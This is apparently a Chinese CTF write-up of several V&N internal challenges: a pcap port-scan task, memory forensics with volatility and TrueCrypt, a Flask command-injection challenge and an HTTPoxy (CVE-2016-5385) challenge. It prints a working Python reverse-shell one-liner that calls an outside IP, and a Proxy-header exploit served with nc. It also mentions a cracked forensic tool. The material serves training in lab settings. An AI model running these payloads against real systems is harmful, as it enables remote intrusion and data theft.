V&N内部赛部分wp

misc拉胯的三条命令

打开后有个说明txt,说扫描端口查看开的端口,那直接看tcp握手有没有成功就可以了.

直接看ack和syn包有没有同时存在,最后有21,22, 631,801,3306开放,按顺序提交就可以了.

(kali的wireshark有着色规则,一片红里面找白就可以了)

misc内存取证

打开后直接上volatility,先看进程有ie,有mspaint,有truecrypt.

先看iehistory,可以找到有个网盘地址:https://pan.baidu.com/share/init?surl=jAVwrRzIgW1QsLHidtzY_w.

mspaint复原之后是一串字符串:lYxfCQ6goYBD6Q (这个字符串 到底是 1,l,I也不知道… 69o? 6g0? 6go?)

把notepad进程dump下来过滤字符串txt可以看到有网盘提取码:heem.

把百度网盘下载的VOL利用TrueCrypt进程的内存dump用Elcomsoft Forensic Disk Decryptor工具(吾爱有破解版)解密VOL再挂载得到key.key:uOjFdKu1jsbWI8N51jsbWI8N5.

尝试了异或,维吉尼亚等有密钥的加解密.

后来才知道要用key再解一次密,得到一个压缩包,然后掩码攻击得到flag.

webCheckIN

打开靶机,发现是如下一个页面,直接给了源码。右键查看源码可以看到有换行的,方便查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"
@app.route('/')
def source():
    return open("app.py","r").read()
if __name__ == "__main__":
    app.run(host='0.0.0.0')

然后看看源码,可以看到是个 flask 应用。
前面打开了一个 flag 文件,后面被注释的部分是读这个文件的内容,下面有个被注释的路由是把 flag 显示出来。

然后下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除。

那么就首先反弹个 shell 到自己的机器上吧。这里因为是 python 应用就直接用 python 反弹了。

1
shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.226.228",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
在 /proc/10/fd/3 下找到了 flag。

webTimeTravel

HTTPoxy漏洞(CVE-2016-5385)

取自vulhub的一个cve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
    phpinfo();
}

这个漏洞的前提之一就是:你的服务跑在PHP的CGI模式下(cgi, php-fpm),看一下phpinfo找到fpm
然后就看一下如何利用吧:

也就是增加一个Proxy的头,cgi会自动将我们加上HTTP_前缀,正好构成了环境变量中的HTTP_PROXY代理,结合题目就是将请求结果构造成{“success”=>true}会返回flag.

1
2
3
4
5
6
7
8
还是要用到内网服务器,不过这里达服务我一直没弄成功,其实只要构造一个response返回就可以了,参考一位师傅的payload:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}

在请求包内添加:Proxy: 172.0.219.177:9999
然后在服务器172.0.219.177上执行:

1
nc -lvvp 9999 < 1.txt
0%